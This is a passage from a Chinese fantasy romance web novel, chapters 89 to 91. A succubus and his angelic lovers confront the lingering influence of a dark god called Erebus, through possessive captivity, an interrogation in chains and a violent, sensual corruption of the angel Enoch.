谁让以诺克当时故意用光明之力刺他的双眼。 楚青琅转身走进房间,躺在床上开始闭目养神。 现在终于可以休息一会儿了。 尾巴搭在腰腹上,天使纯粹的血液在体内沸腾,他蜷缩着身子开始消化起来。 温度越发的高。 楚青琅感到一阵的恍惚,他感到一阵的下坠,仿佛有人攥住了他的四肢,将他的灵魂扯下。 “咚咚咚——” 敲门声响起。 楚青琅猛地睁眼,发现自己又回到了那个酒馆。 此时他的身躯已经没有那种凝固束缚的感觉,只是还残留着一些僵直,仿佛没有上油的木偶一般。 有谁在抚摸着他的面孔,轻柔又怜惜。 楚青琅缓缓的动了下手,覆盖了面上的指尖,“约书亚。” 金发碧眼的青年随着他的呼唤出现在他的面前。 高洁冷淡的面容绽放出笑来,身上依然穿着一席法袍。 “青琅醒了?饿不饿?” 膝上的少年没有回话,耷拉着眼,一张靡丽的面孔也懒洋洋的,看不出是生气还是别的情绪。 约书亚克制着想要让他注视自己的欲/望。 将少年从腿上抱起,反手就要划开自己的脖子。 楚青琅掀起眼皮,正好看见他的动作。 他伸手压住那处皮肉。 “现在到了失落之城了,你该遵守诺言了。” 约书亚并未回话。 休息了几分钟,他感觉自己慢慢恢复了力气,便按着约书亚的肩膀,站了起来。 转身就要向着外面走去。 他不介意他的恋人吃醋,想要和他在一起也可以。 如果直接说的话,楚青琅不会拒绝的。 只是不知道是怎么个情况,每一次他的恋人好像都觉得他不会同意。 身后的人异常的安静。 如果楚青琅此时回头看去,便能看见那双湛蓝眼瞳血丝遍布。 先前被不断压抑的情绪,即将突破脆弱的皮囊。 带着无与伦比的暴戾和粘稠的爱意。 死死的注视着他。 第89章 第 89 章 亲亲。 视线是有重量的。 楚青琅没有忽视身后一路跟过来的视线, 汗毛都竖起来了。 他扣着门框看着门板上浅淡的符文,微微叹了口气。 很明显,他是绝对打不开这扇门的,而且就算是打开了, 约书亚也不会让他离开。 毕竟连囚禁锁链都用上了的人, 怎么会这么轻易的放他走。 楚青琅回身, 悠悠道:“不走吗?” 身后的人仿佛被揍了一拳, 带着冷意的目光瞬间被迷茫占据。 少年是要带他一起走? 约书亚下意识的起身,却只是紧张的攥紧了拳, 仿佛不敢相信一般。 楚青琅拿着一旁的披风,自己带上了兜帽。 “不是要吃饭吗?” 还要和他一起去吃饭? 约书亚看着他因为四肢的僵硬导致带子系的粗糙,角被摩擦后微微蹙了一下眉,却很快舒展。 一双黑眸望来,澄明平静。 丝毫没有他想象中的怨恨和杀意。 楚青琅看他一直愣在那里, 主动上前,牵住了他的手,朝着门口走去。 “现在你已经去过神殿了, 相比已经见过别的圣子候选人了, 他们比你来的早, 所以我们吃完饭就先去探查一下这边人的信仰,还有” 拉门的手被一直滚烫的手握住。 后背被压住, 呼吸喷洒在后颈, 楚青琅瞬间吞回了后面的话。 约书亚低声说:“为什么不生气?” 从开始为他带上锁链,后面不守承诺,违背他的意愿将他囚/禁在这里。 为什么,从来都没有对他发过脾气? 楚青琅偏了下脑袋,嘟囔, “你就是这样的人啊。” 他抽回手,转身,理所应当的说:“就算有着一张漂亮的面孔,也遮掩不住你爱妒,心眼小,占有欲强,漠视生命和道德的事实。” 约书亚一张俊美的面容被阴影如蜘蛛般爬上。 楚青琅伸手摸他含着阴翳的蓝眸,指尖点那微颤的眼睫。 他话锋陡转,“但是你怎么知道我不喜欢你这个样子?” 少年的神情并不认真,神情甚至称得上是调笑。 但是那话语进入耳中,却让听见的人恨不得把自己的脑袋掏出来,看看是不是在做梦。 约书亚神情空白了一瞬。 整个人被彻底打懵。 楚青琅看他发愣的模样,瞬间笑了起来,他埋怨道:“你应该和我直说的,而且我都说了你可以来找我,怎么就不信呢?” 心脏在一瞬间的停滞后猛地跳动起来。 嘭!嘭!嘭! 迸出血液蔓延全身,耳根连带着面颊眼眶都发热泛红。 约书亚忽地上前一步,低头,将他压在了门板上。 混乱的呼吸在两人之间传递,唇舌被被咬住,血液被渡进。 耳边只有衣服和双手的摩擦声响起。 嘶哑的嗓音很低,还未出口便散去。 “我,恐惧着。” 约书亚倾听着少年的呼吸,求证一般撕扯着他的唇瓣。 从心脏深处扎根的恐惧由来已久。 他无法忽视。 楚青琅被亲的迷迷糊糊的。 等反应过来,面前的人已经恢复成了以往的冷静理智。 约书亚刚刚说了什么? 没有听见,他光顾着吞咽了。 兜帽被拉下,遮蔽住他的视线。 约书亚拉着他的手腕,向着外面走去。 失落之城里面并不和外面有所联系。 因此吃的喝的都格外粗糙。 “您的酒。” 油腻的桌子上一只粗糙的手将酒水放下,动作利索,使得满满的酒液溢出来了一些。 “是雀指草的植物芯制作的,口感比较烈。” 约书亚坐在对面边说边慢条斯理的将面包切片,木盘旁放着熏肉和一些蔬菜水果。 楚青琅好奇的看了一眼,澄黄色,带着杂质,闻起来又呛又辣。 是他们点的饭食自带的。 话说为什么约书亚会这么清楚在这里能够打听到锡城子民的信仰?还能准确的判断出来谁是异教徒。 他不是也是第一次来吗? 而且还马不停蹄的去了神殿 楚青琅看着约书亚切完,将盘子推过来和他的交换了一下,忍不住问道:“你之前来过这里?” 约书亚此时虽然依然穿着那一身显眼的法袍,但是他为自己和楚青琅都施了改变样貌的魔法。 此时在外人的眼中,两人不过是最普通的镇民。 约书亚说:“没有来过,只是去神殿的路上,碰见了别的圣子候选人,他们好心告诉我的。至于判断异教徒,我是可以看出来的,他们的身上都带着一些黑气,很明显。” 好心? 被迫好心吧。 楚青琅似笑非笑的看了他一眼,忽然说:“怎么一直不抬头?” 从搂上下来,一直到这里。 约书亚就从未和他对视过,就算是偶然间撞上视线,他也会很快移开。 约书亚指尖一抖,面上无动于衷。 但是楚青琅却看见他露出的耳根都泛着红。 他有些惊讶。 这是什么情况?他们上/床的时候,约书亚都没有这个样子过。 难道真的只是因为他说的那些话吗? 他好像也没有说什么吧? 但是还挺好玩的。 楚青琅眼中闪过一丝恶趣味。 他伸出手,前倾身体,就要挑起青年的下巴。 约书亚却猛地放下了手中的餐具,拽住他的手腕站起身,冷静道:“他们走了,我们跟上去。” “喂!” 楚青琅被扯的一个踉跄。 但是看着闷头朝前走的人,还是撇了下嘴。 算了,等回去的时候在玩吧。 在楚青琅的眼中,前面的那些人像是猎人,肩膀手肘和膝盖的部位,用皮革细细的缝了起来,腰间和腿部挂着刀绑着匕首。 约书亚说他们的身上有黑气,但是楚青琅却丝毫没有看见。 两人跟着前面的人朝着城镇的边缘走去。 很快,那些人就分开。 就在楚青琅以为两人也要分开调查的时候,约书亚却带着他毫不犹豫的朝着一个人的身后跟去。 向着城外的方向。 随后,在已经极为接近他们赶来的禁魔森林的地方停了下来。 那是一件石头垒成的房子,带院子,因为没有关门,所以可以清晰的看见院子中间摆放着一具具被剥皮拆骨的动物尸体。 约书亚扭头,对着他认真叮嘱,“进去小心一点,异教徒信仰的神明可以在无形中就影响人的心智,尤其你是魅魔,本身对这类神明就没有抵抗力,所以,进去后不要乱看,不要离我太远。” 说了一长串,最后,约书亚却柔了眉眼。 “你在这里等我吧,我很快出来。” 楚青琅眨了下眼,对他的反复感到好笑。 他说:“我自己在外面要是碰见别的圣子候选人或者危险怎么办?你怎么救我?” 约书亚闭了闭眼,不再说话。 少年说的有道理,只是一旦想到少年会受到危险,他的心中就横生暴戾。 没关系,他会保护好青琅的。 只是一个邪神的雕像而已。 楚青琅反手拉着他,主动带着他走进了院子中。 这里的血腥气异常浓重,约书亚主动上前敲门。 “谁?!” 很快,门内传出一道警惕的声音。 约书亚说:“我们是参加神选的,你这里有没有吃的?” 里面的人并未开门,只是粗暴道:“没有!滚开!!” 约书亚并没有放弃,只是慢条斯理的重新敲门。 “唰!”门被猛地打开,男人站在里面手中握着刀,“叫你滚没听见吗?” 刀柄上满是累积的血渍,布条发黑。 楚青琅只看了一眼就就觉得不适。 约书亚掏出钱袋,朝他扔去。 男人警惕的一刀劈了下去,金灿灿的金币叮当的落了满地。 约书亚摆出了傲慢的神色,“让我们进去,把你们的吃的都摆出来。” 男人咽了口唾沫,凶恶的面上在看见那些金币后,瞬间改变了态度,“欸!!您请进,您请进,只是我们这边只有一些简陋的食物,不一定符合您们的口味。” 约书亚走进去,抬手微微掩鼻,不冷不热道:“无所谓,只是给那些骑士吃的,他们没有资格选择。” 楚青琅跟在后面,扫视了一眼这个房间。 厨房,沙发,木桌,坚硬的地板,昏暗的灯光,还有浓重的血腥气。 桌椅上都是油腻腻的,和酒馆里面的也差不了多少。 约书亚站在沙发后面,看着男人从厨房中抱出食物放到桌子上,“只有这么多了,院子外面倒是还有一些晒干的果子和肉” 男人说着,准备朝着院子外走去。 约书亚在他和他擦肩而过的瞬间,回身劈晕了男人。 因为这里面有邪神的神像,而每一个神像都代表着一个存在,所以约书亚不能贸然使用光明之力。 男人扑通一声倒在了地上。 楚青琅微微后退一步,躲开了男人砸下来的手。 约书亚放开手,神情重新恢复成冷淡从容,“青琅,你在这里看着他,我下去找人,如果他醒了” 楚青琅勾唇说:“虽然我是魅魔,但是弄晕一个人类的实力还是有的。” 约书亚嗯了一声,转身朝着房间深处走去。 脚步声逐渐远去。 楚青琅看着大门,一种想要跑路的心思突然冒了出来。 虽然他现在没有剧情,约书亚也不限制他的行动了,但是他的恋人一般都是反派,楚青琅总觉得他现在就走在剧情前的路上。 但是剧情一般都很凶险。 而圣子怎么能变成反派呢? 难道是约书亚后面背叛信仰了? 楚青琅想着,还是压下了想要离开的心思。 毕竟他知道,如果这次离开了,就约书亚对他的执着,很可能他真的会彻底的下不来床。 到时候可是他无论说什么都没用了。 “嗒——” 清脆的响声回荡在耳边,将出神的楚青琅惊醒。 他猛地转身,却只看见一阵浓郁的黑暗从远方侵蚀而来,转瞬间便将他吞噬。 视线一阵恍惚,仿佛有着万千的声音在耳边响起。 【祈求我主万物湮灭者呼唤我主厄瑞波斯】 【祈求我主万物湮灭者呼唤我主厄瑞波斯】 【祈求我主万物湮灭者呼唤我主厄瑞波斯】 分不出男女老少,甚至是否是人类的语言都未可知。 楚青琅捂着耳朵,却完全阻止不了那些声音。 就仿佛是直接在头颅中响起的一样。 带着莫大的吸引力,连带着心神都开始震荡。 楚青琅不自觉的张开嘴,想要跟随着祈祷。 但是下一瞬,披风上的符文猛地一亮,温暖的光芒在眼前组成光幕,将那些声音阻挡。 楚青琅趁着那声音消失的瞬间,反手用指甲划破了自己的臂膀。 鲜血喷涌而出,疼痛带来理智和清醒,却依然阻止不了他向前移动的脚步。 楚青琅意识到,那个声音是要他呼唤祂。 但是如果真的将那个名字说出口,他一定会碰见非常恐怖的事情。 楚青琅瞬间警惕起来。 面前的光幕被阴影快速侵蚀着,很快就只剩下一道模糊的光影。 那些声音重新响起。 楚青琅抬起手,有些犹豫要不要把耳膜刺穿。 就在他下定决心的时候,不远处突然传来了脚步声。 约书亚从黑暗涌来的地方走来,手中握着的,正是一尊盖着布的神像。 手掌大小,看不清面目。 在看见他的瞬间,约书亚脚下法阵亮起,人瞬间从远处闪现到他的眼前。 手腕被握住,约书亚并没有询问他发生了什么,带着他转身朝着门外走去。 周身即将暗下来的光幕重新亮起,在踏出门口的瞬间,楚青琅模糊间瞧见了一道虚幻的人影。 长长的黑发混在阴影中,苍白的面孔模糊,猩红的双眸如灰烬般死寂,注视着他。 “唤吾——” 昏暗被阳光替代,浅薄的温度洒下。 那呢喃消散,楚青琅猛地意识到他的双眼仿佛没了肉/体的限制,看见了后背的场景。 那是谁? 楚青琅站在院子中,鲜血味道依然浓郁,心中莫名的向往还残留着。 回头看去,刚刚被阴影侵蚀过的屋子已经恢复了正常,人影也早已消失不见。 约书亚站在一旁,此时正研究着手中的东西。 楚青琅压下砰砰乱跳的心脏,不禁问道:“我看见…….” 约书亚抬手堵住他的唇。 他微微弯腰,金发滑落,湛蓝色的双眸在心有余悸的楚青琅眼中竟透着些许诡谲。 约书亚轻声说:“不要说出口,当作不知道,不然你会被祂发现的。” 祂好像已经发现了吧? 楚青琅眨了下眼,约书亚的双眼分明又是寻常的温柔清澈。 他点了下头,随后伸手想要看那雕像,“你发现了什么?” 约书亚微微后撤,被微微掀起的白布重新放下,将那雕像遮掩的严实。 “也别碰,是邪神,现在知道了他的化形,我就可以针对性的消灭祂。” “只要让镇民认清楚他的真面目就可以,后续还需要为那些信仰邪神的镇民做一些仪式,让他请求吾神的原谅……” 楚青琅哼了一声,甚至有些怀疑根本不需要约书亚亲自过来一趟,只让骑士长去了解就可以。 他问:“既然你能够知道这个消息,别的圣子候选人一样可以知道,他们来的还比你早,你凭什么胜利?” 话一出口,楚青琅想起了刚见面的时候约书亚答应救他的原因。 就是让他暴露恶魔的真面目,然后把他给消灭掉。 但是后来这个想法一退再退。 甚至从只要他安分的呆在城镇不乱惹事,到呆在约书亚的身边就可以。 没准,楚青琅要是真的惹出了事情,约书亚也会亲自为他善后。 就像是他想的那样,约书亚语气平淡,“没关系,失败而已。” 但是他从小到大,一直都在为成为圣子而努力。 如此轻易的放弃 约书亚伸手将他的兜帽再次拉了一下。 光明之力将他的伤口治好,皮肉生长带来一阵麻痒。 楚青琅不自觉的想要挠,却被按住了手。 约书亚凑近,发丝如蛛网黏在两人脸侧和脖颈, 之前说的话应该被约书亚听进去了。 他难得耿直道:“想要亲亲。” 楚青琅瞬间软了眉眼,仰头吻了一下他的眼,顺着来到鼻尖,唇角。 在约书亚克制不住的想要扭头时,他突然后退一步。 看着面前恋人迷惑的神情,楚青琅微微张开了双手。 面前的人呼吸瞬间急促,手一翻转,掌心中的雕像消失不见。 猛地袍角混着发丝翻飞。 楚青琅只觉得后背被挤压,猝不及防间,视线落进湛蓝天空。 下颌被拇指顶起,唇被彻底堵住。 这次的吻,不带丝毫血腥气 酒馆 约书亚穿过门,抱着人神情冷淡的向着楼梯处走去。 一旁却突然传来声音。 “约书亚,你还是决定要当圣子了,但是圣子的身边不可以有恶魔的。” 扭头看去,穿着本地人的衣服的赫普斯站在一旁。 他的手中握着一枚金币在上下抛着,映着烛光,折射出刺眼亮光。 约书亚只是说:“你没死,真可惜。” 赫普斯笑了一下,眉间带着轻微的凹陷,显得他像是经常皱眉一般,因此乍一看去,格外严肃。 但是圣子候选人都是相处多年的,所以旁人都清楚他是一个活泼的性子。 赫普斯说:“既然选择了做圣子,为什么还要选另一个?” 约书亚冷声道:“神殿已关闭,你失败了,别再出现在我的面前,不然我会杀了你。” 赫普斯握住落下的金币,棕色眼眸格外幽深。 “我期待着。” 约书亚并未再次和他说话,只是收回视线抱着楚青琅走上了楼梯。 一只白皙修长的手顺着他的腰间滑落,指尖带着咬痕,指节如花摊开。 魅魔明显没了意识。 赫普斯看着他的背影,微微侧头,仿佛在倾听什么一般。 “神说,不可贪心。” 在下一个客人走进来时,他的身影一阵模糊,顷刻间消失在了原地。 穿着铠甲的伊文纳德握着大剑走下楼梯,左右看了一眼,径直来到了一旁的老板前。 “有没有看见一个穿着黑炮的男人?” 老板迷惑的摇了摇头。 伊文纳德转身离开。 不远处的楼上。 房门吱呀一声关闭。 第90章 第 90 章 抚慰。 “唤吾——” 虚幻的层叠的呢喃阵阵响起。 楚青琅睁开眼的时候, 只觉得头痛欲裂,他下意识的翻身按着砰砰跳动的心脏。 焦急的,欣喜的情绪如煮沸的水一般在心底翻腾,却被咽喉软骨挡住。 他干呕出声。 随即额间传来温热的触感。 周围大亮, 余光中, 楚青琅看见许多无形阴影凝成的手被光芒吞噬。 他猛地意识到, 那个邪神跟着他来到了神国。 然后被净化掉了。 艾斯维确认他没有事情后, 后撤一步蹲在他的面前,一脸担忧。 “还好吗?是不是以诺对你不好?他做了什么?” 楚青琅眨了下眼, 并没有回答,反而问:“你怎么过来了?” 艾斯维歪头,“你想要见伊莱吗?他去圣池了。以诺说了,如果他不恢复是不让他过来见你的。” 他又小声说:“我是偷偷过来的,怕你觉得无聊, 你看。” 白瓷一般的掌心托着一个青色的草编鸽子。 指尖一点,就变成了真实的造物。 在两人中间飞了几圈,随后抓住了楚青琅的肩膀, 偏头侧着他的脸。 毛茸茸的, 温热的。 楚青琅忍不住伸手抚摸了一下, 猝不及防的被叨了一下手指。 不疼不痒的。 艾斯维却在看见的瞬间张口含住了他微微泛红的指尖。 楚青琅感受着他柔软湿濡的口腔,微微眯了下眼。 骨节微曲, 搔动着上鄂。 他笑着说:“艾, 我的恋人可是伊莱。” 艾斯维绿眸清澈见底,他最后舔了一下,理直气壮道:“我知道啊。但是你被叨了,我亲亲你,你就不会疼了。我对小天使也会这样的。” 楚青琅一脸的不信, 他点了下自己的嘴,“那我这里疼。” 艾斯维利索仰头,就要上前舔舐。 “很快就不唔唔!!” 艾斯维伸出的舌尖却只碰到了一个薄薄的冰层,在接触的瞬间将他的舌冰封。 楚青琅惊讶侧头。 伊诺克不知何时站在了一旁,此时缓缓的收回手。 他冷酷道:“出去。” 艾斯维嘶了两声,才把舌头上的冰给融化,他含糊道:“以诺,我就是过来看看他。” 伊诺克眼皮下垂,半遮的瞳孔深邃幽冷,“你是想看我有没有杀死他。” 艾斯维站起身,面上重新挂上了笑,“我们不愧是同伴!现在伊莱在圣池,我当然要过来看看我的朋友,而且你看他精神好差,一看就是被你吓到了” 说着说着,他的嘴巴重新被封住。 以诺克收回看蠢货的目光,对着楚青琅说:“你出去了?” 楚青琅疑惑道:“我只是个魅魔,这是你的地盘,我出去你怎么可能不知道?” 以诺克伸出手,朝他勾了一下,指尖上突地冒出一缕暗红发黑的能量。 “这个和你身上的魔力不一样,这是堙灭者****的能量,为什么会在你身上?” 他目光如刀,落在楚青琅的身上仿佛能看透他的灵魂。 但是楚青琅怎么知道? 就连以诺克说的那个名字,在他的耳边都自动被屏蔽。 楚青琅面色不变。 “我不知道你在说什么,你说的是谁?我听不见。” 一边的艾斯维终于再次弄掉了嘴上的东西,接话道:“堙灭者的位格很高,青琅不知道是正常的,在普通的造物耳边,就算是提起祂的名字也不会真的被你们所知道的。” 他又转身对着以诺克说:“堙灭者早已经被神覆灭了不是吗?我们都未曾亲眼见证过那场神战,没准这个不是祂的,是你误会了。” 以诺克啧了一声,“你离开这里,我会像神求证。” 艾斯维睁大了眼睛,他走到楚青琅身边,一把将他搂紧了怀中,“以诺!你不能这样,我还要让他听我新改的圣曲,我又加了……” 以诺克掌心浮现长剑,“我不出来你就已经被他诱惑到床/上了,还是你之前剔除侵蚀的滋味很舒服?” 艾斯维神情一下子低落起来,他低声说:“就一会儿。” 楚青琅挑了下眉,偏转身体看着艾斯维,笑着说:“我没事的,你可以把曲谱留下,我也是可以看的。” 艾斯维犹豫了一下,手指却依然牢牢的握着他的肩膀。 楚青琅轻拍了一下他的面颊。 “乖。” 艾斯维摸着脸,绿眼睛闪亮亮的,就像是被顺毛了的小动物一样。 他凑在楚青琅的耳边说:“如果真的被欺负了脱掉它,我就会过来。” 掌心中,赫然是一条水晶手链,被艾斯维专心致志的扣在了他的手腕上。 接着,唇上传来一阵温热,是艾斯微装作不经意偷亲了一下。 楚青琅看着他一本正经的后退,把曲谱放到一旁的桌子上。 又重新走到以诺克面前嘱咐。 “以诺,不要欺负他,不然我真的会生气哦。” 以诺克没有说话,只是用指腹按压着手中剑旁的刻印。 【审判】 公正的,光明的,审判每一个恶魔。 艾斯维看他没回话,恋恋不舍的向着楚青琅转身,好像又要说些什么。 却被一股力道给直接推出了房间。 浓绿眼瞳中,是满满的错愕。 最后,他望着楚青琅大喊,“等我下次找你!” 砰! 房门被猛地关闭。 原本鲜活的气氛猛地沉寂。 楚青琅看着站在不远处的冷面天使,拨弄了一下手链。 周围的气氛越发沉闷,轻微的脚步声传来,楚青琅看见了内里猩红的披风坠在地上。 冰冷的锋刃挑起他的下巴,以诺克仿佛警告般的道: “堙灭者的存在,我会向神秉告,你最好不是他的信徒。” 楚青琅并没有在意他说的什么堙灭者,只是说:“你怀疑我?” 以诺克掌心中的剑身清晰,边缘却缓缓弥散。 他接着说:“当然。在此之前,我会确认你的身份。” 带着皮手套的手,直接抓住了楚青琅的肩膀。 粗暴的动作带来阵阵闷痛。 楚青琅不禁闷哼出声,随即眼前一花,整个人来到了一处昏黑空旷的房间。 这里的血腥气很重,仔细感觉起来,竟然让他产生了一些亲近的想法,但是恐惧却在心中消之不去。 楚青琅有些纳闷。 以诺克挥手招来锁链将他挂在墙上。 在哗啦啦的锁链声中,他重新举起长剑,声音冷淡。 “是不是感到亲近?” “整片墙壁都是你的同类的鲜血抹成。” 疯子! 楚青琅瞳孔骤然收缩。 所以现在以诺克要做什么? 楚青琅紧张起来。 但是看着以诺克那双冷硬的面孔。 他还是缓缓弯唇,仿佛没有听懂。 “神允许天使动用私刑吗?这样的你,和我们这些恶魔又有着什么区别?” 魅魔身体修长白皙,皮肉裹着精美骨骼,转折处线条流畅优美,在昏暗的背景下,就仿佛是一颗珍珠落在了丝绒软垫之上。 锋利的剑尖闪着耀眼光泽。 映在楚青琅漆黑瞳孔中,繁复花纹随着阖动变化,显得格外迷人。 以诺克异样的克制冷静,并未对楚青琅的话产生丝毫动摇。 他周身弥散着淡淡的白光,翅膀伸展开来,羽片仿佛鎏金,神圣高洁,声音飘渺。 “堙灭者厄瑞波斯狡诈,哪怕是残象也会深入灵魂,因此,吾将以神言探查。” “你无权选择。” 话音落下,楚青琅被气笑了。 还真是独裁。 以诺克并未对他的笑产生任何反应,此时他的全身已经被金光环绕,一双淡银色的瞳孔被极致的金红覆盖。 仿佛所有的情绪都被彻底抽离了出去。 楚青琅手指微弯,用指腹摩挲着手串,想,他现在有点生气。 他双眼微阖,眼尾的红愈发浓郁起来。 珍珠上增添了细微裂痕,鲜血顺着划痕流下,组成了一片片刺着金红光芒的神言。 绵延全身。 楚青琅仰着头,胸膛快速起伏着。 耳边模糊的呢喃被以诺克的吟诵声彻底替代。 不知何时。 身上的鲜血组成的神言缓缓消失不见。 光滑洁白的肩颈抵着墙壁,边缘淤了红。 丝丝缕缕的细丝将他的灵魂翻的乱七八糟。 冰冷的手掐住下颌骨骼,唇被迫微张,尖牙顶着唇露出了米粒大小的一点。 以诺克面无表情的低头注视着他。 瞳孔灿然生光。 直到楚青琅身上的神言彻底消失,捆着四肢的锁链也随之断裂。 天使拥抱着他落在了地上。 楚青琅长长的呼吸了一声,抖着手揽住了以诺克的脖子,将面孔摆到他的面前。 “什么都没有发现,是吗?” 以诺克手握拳按住他的肩膀,长剑消散,白而薄韧的手套泛着粼粼光芒。 他说:“起来。” 天使的双眼仿佛含着广袤无际的雪原,里面却不知何时燃着一朵黑焰,被缓慢侵蚀着。 他却一无所知。 “以诺,你怎么那么确定自己不会动心呢?” 说着,楚青琅笑了起来。 他的手沿着以诺克的脖颈摸到半拢的翅膀。 “哧——” 指甲猛地刺穿羽翼,支撑翅膀的坚/硬的骨骼划过,带来刺痛。 但是楚青琅却丝毫没有在乎。 脖颈上已经消散的剑猛地凝出。 以诺克僵硬了身躯。 “恶魔!别逼我杀你!” 楚青琅歪头,凑近道:“你可以杀了我,但是你做得到吗?” 握着长剑的手骨节突出,薄薄的的手套绷紧,边缘攒出深刻纹路。 身上压着的魅魔明明弱小,以诺克却只觉得身体内部的力气一点一点的流逝。 为什么? “呃!” 以诺克弓起身子,一边的翅膀被撕扯开来,连着血肉半搭在地上,洁白的羽翼散落一地,根部染着血色。 楚青琅收回手,慢条斯理的舔舐着指尖的血液。 “你不信我。”他说:“我有点伤心。” 伊诺克捂着肩膀,抬头看他,“吾为何要信你一个恶魔?!” 楚青琅蹲下身子,抓起他的发,将头拎到自己的面前,“但是没关系,我总会原谅你。” 他撒娇般的道:“毕竟你之前做的足够好,值得我给你机会。” 以诺克依然冷漠的看他,仿佛没有丝毫动摇。 楚青琅浓黑的眼眸满是笑意。 尖利的指尖划破以诺克的脖颈,鬼魅的惑人的香气从他的指尖散发,混进伤口,蔓延天使的全身。 金色的血液滴答滴答的落下。 楚青琅压在他的披风上,将唇覆盖了上去。 满足充盈感将体内因为光明之力的探查而产生的饥饿焦渴感驱逐。 他不自觉的哼了两声。 以诺克听见,淡银色的瞳孔轻颤,剧烈的疼痛使得脊背一阵抽搐。 杀意愤怒让他的手都抖了起来,但是那剑和体内的能量,却无论如何都调动不起来。 明明天使的身躯哪怕是大恶魔也难以伤害,但是为何被一个最底层的魅魔轻易的刺穿了翅膀? 以诺克从未放下戒备。 所以,他到底是什么时候被黑暗侵蚀了? 他不自觉的回想着。 却只想起了漫天花海中,从同伴的血液中获得重生的少年,抬起头展露出来的,瑰丽邪气的笑容。 理智下方,未可知的潜意识海中,隐蔽的传递出欣悦的战栗。 为少年的注视。 在魅魔满足的轻哼声中,他滚动的咽喉,仿佛也品尝到了自己的鲜血的味道。 旖/旎香气传来,额头连带着眼眶都在发紧。 以诺克伸出手,神剑不知何时消失不见。 他牢牢的将沉迷鲜血的魅魔囚在自己的怀抱中。 披风被从轻薄铠甲上拽下,绞缠在两人身上。 纯白羽翼粘连着血肉摇摇欲坠,黑红色的指甲锋锐,漫不经心的顺着骨骼划下。 楚青琅沿着天使的咽喉,吻住他的唇。 “痛吗?” 以诺克隐忍的攥紧披风,赫赫气流声中,他想象着同伴和他亲密的样子,张开了嘴。 接着,主动伸出了舌,将那只会吐露出虚假话语的口封住。 眼睫交错。 属于天使的一望无际的雪原彻底被黑焰覆盖。 在铺天盖地的疼痛和混沌中,他汲取到了那一点轻飘飘的抚/慰。 以诺克连着手串将楚青琅的双手按住。 被彻底撕下的翅膀混着轻薄铠甲落在地上。 楚青琅后仰身体,攥紧那依然带着温度的翅膀,瞳孔外圈染着浅淡的红。 他看着追随而来的天使,轻笑,“别这么着急啊。” 手腕处的力道加大,清脆的碎裂声传来,楚青琅微微蹙了下眉。 他伸出角踩着以诺克的膝盖,说:“现在,谁更像恶魔?” 积蓄成血洼的金色血液浸透了两人的身躯。 模糊映照出一个翅膀被彻底染黑的天使。 以诺克轻咬着他的发丝,湿漉漉的涎水顺着唇瓣滴落。 闻言,他低头,神情恍惚了一阵。 却只是溢出了一声嗤笑。 “原来我也背叛了父神。” 他缓缓抬头。 乍一看去,楚青琅竟然将他银色的眼眸看成了深红色泽。 以诺克一只手顺着他的手臂上移,按着他的肩膀将他压在了掉落的翅膀上。 凌乱的,湿濡的羽翼沾染脊背,带来粘腻诡异的感觉。 楚青琅不禁挣扎了一下。 却看见以诺克冷冽的面上露出了一丝笑。 不是嘲讽冷笑,而是和软的,温柔的笑容。 却让楚青琅脑袋嗡的炸开,耳边尽是尖锐的鸣叫声。 他瞬间从魅魔的影响中恢复了清醒理智。 完了完了完了。 想起先前干了什么,楚青琅觉得自己要完蛋了。 水晶手串零散的落在地上。 被艾斯维留下的力量划伤了手的以诺克,没有痛觉般紧紧的攥着手,将伤口挤的愈发深。 随后将其悬在楚青琅的面前,金色的血液成线滴落进唇齿。 以诺克压下身子,像先前那样观察着他的表情。 “艾斯维和伊莱在外面。”他说:“我要开门吗?” 仿佛在验证他的话,周围的墙体忽地震动起来。 以诺克一寸寸的摸着他的牙齿。 “不想见?” 楚青琅连连点头。 簌簌砖块落下,却在他惊慌的目光中,转瞬间恢复平静。 以诺克周身的光芒不像以往那样纯粹,里面参杂着丝丝缕缕的黑,蛇一般的在其中穿梭。 天使冷峻的面孔不变,压下了身子。 “那就不见。” * 圣池的水面如镜。 照出一个双翅满是血红眼眸的天使,周身被盈着光亮的金色锁链死死捆住。 艾斯维坐在另一边,手中是一把红艳艳的果子,他正拿着一个丝绸手帕,动作轻柔的将其包裹起来。 “伊莱,你能不能快点清除掉侵蚀啊,到时候我就可以把青琅接过来了。” “现在我去以诺那里去看,他竟然把我扔了出去,好坏的天使。” 清朗的声音碎碎念着,池中的天使猛地睁开了紧闭的双眼。 伊莱声音沙哑,“你见到他了?” 艾斯维说:“当然,他肯定被以诺吓到了,当时一直在颤抖呢,但是我已经警告过以诺了,还给了青琅一个手串,只要他摘下我这边就能知道,到时候我一定会让以诺知道我的厉害!” 伊莱沉默,浓郁的光明之力将他身上的黑暗之力反向侵蚀,碾碎灵魂的疼痛让他浑身肌肉不自觉的抽搐着,但是他的面上却依然平静。 艾斯维站起身,走到他的身旁,蹲下。 “以诺说青琅身上出现了湮灭者的残像,你之前和他相处的久,有没有发现什么端倪?” “还好这次发现的及时,不然下次为了让青琅不失去神智,只能去见神才能去掉湮灭者的标记残像了。” 因为疼痛,伊莱恍惚了一阵,很快摇头说:“我将他从恶魔的军中抱过来,他一直都没有出过神国,不可能沾染上湮灭者的残像。” 艾斯维皱起了眉,张嘴就要接着说什么,神情却罕见的阴了下去。 “手串碎了。” 他猛地起身,伸展翅膀朝着以诺克的宫殿飞去。 身后。 金色锁链寸寸断裂。 90-100 第91章 第 91 章 打起来(修) “嘭嘭嘭!!!” 剧烈的声音连绵不绝的响起。 楚青琅听见了一声轻嘲, “麻烦。” 随即周身一暖,耳边的声音瞬间消失,只剩下潺潺的水流声。 他眼睫颤抖了一瞬,睁开眼。 以诺克并不在这里, 他现在所处的地方, 也不再是那个昏黑的满是血腥的房间。 身体内部仿佛还残留着仿佛骨骼被舔舐的, 难以言喻的感觉。 要不是伊莱和艾斯维过来发出的声音, 最后还是把以诺克给弄走了。 楚青琅估计会直接崩溃。 相比起约书亚和伊莱的缠绵温柔。 以诺克的动作果断粗暴。 却仿佛海啸,将他卷的晕头转向。 楚青琅默默积蓄了一点力气, 将身上的脏污清洗干净。 站起身朝着紧闭的门走去。 他伸出手,顺利的将门打开,这使得楚青琅有些惊讶。 他还以为以诺克不会让他出去呢。 不过想起天使当时的惨状,楚青琅模糊的想到了原因。 天使和宫殿是一体的,因此天使要是被侵蚀了宫殿也会萎靡下来。 更何况现在还有伊莱和艾斯维在外面强硬的攻击。 走出去, 就像他所想的那样,原本冷硬的建筑满是锈迹斑斑,地面也失去了以往的整洁。 楚青琅有些奇怪。 这样看起来, 以诺克被侵蚀的程度比伊莱还严重。 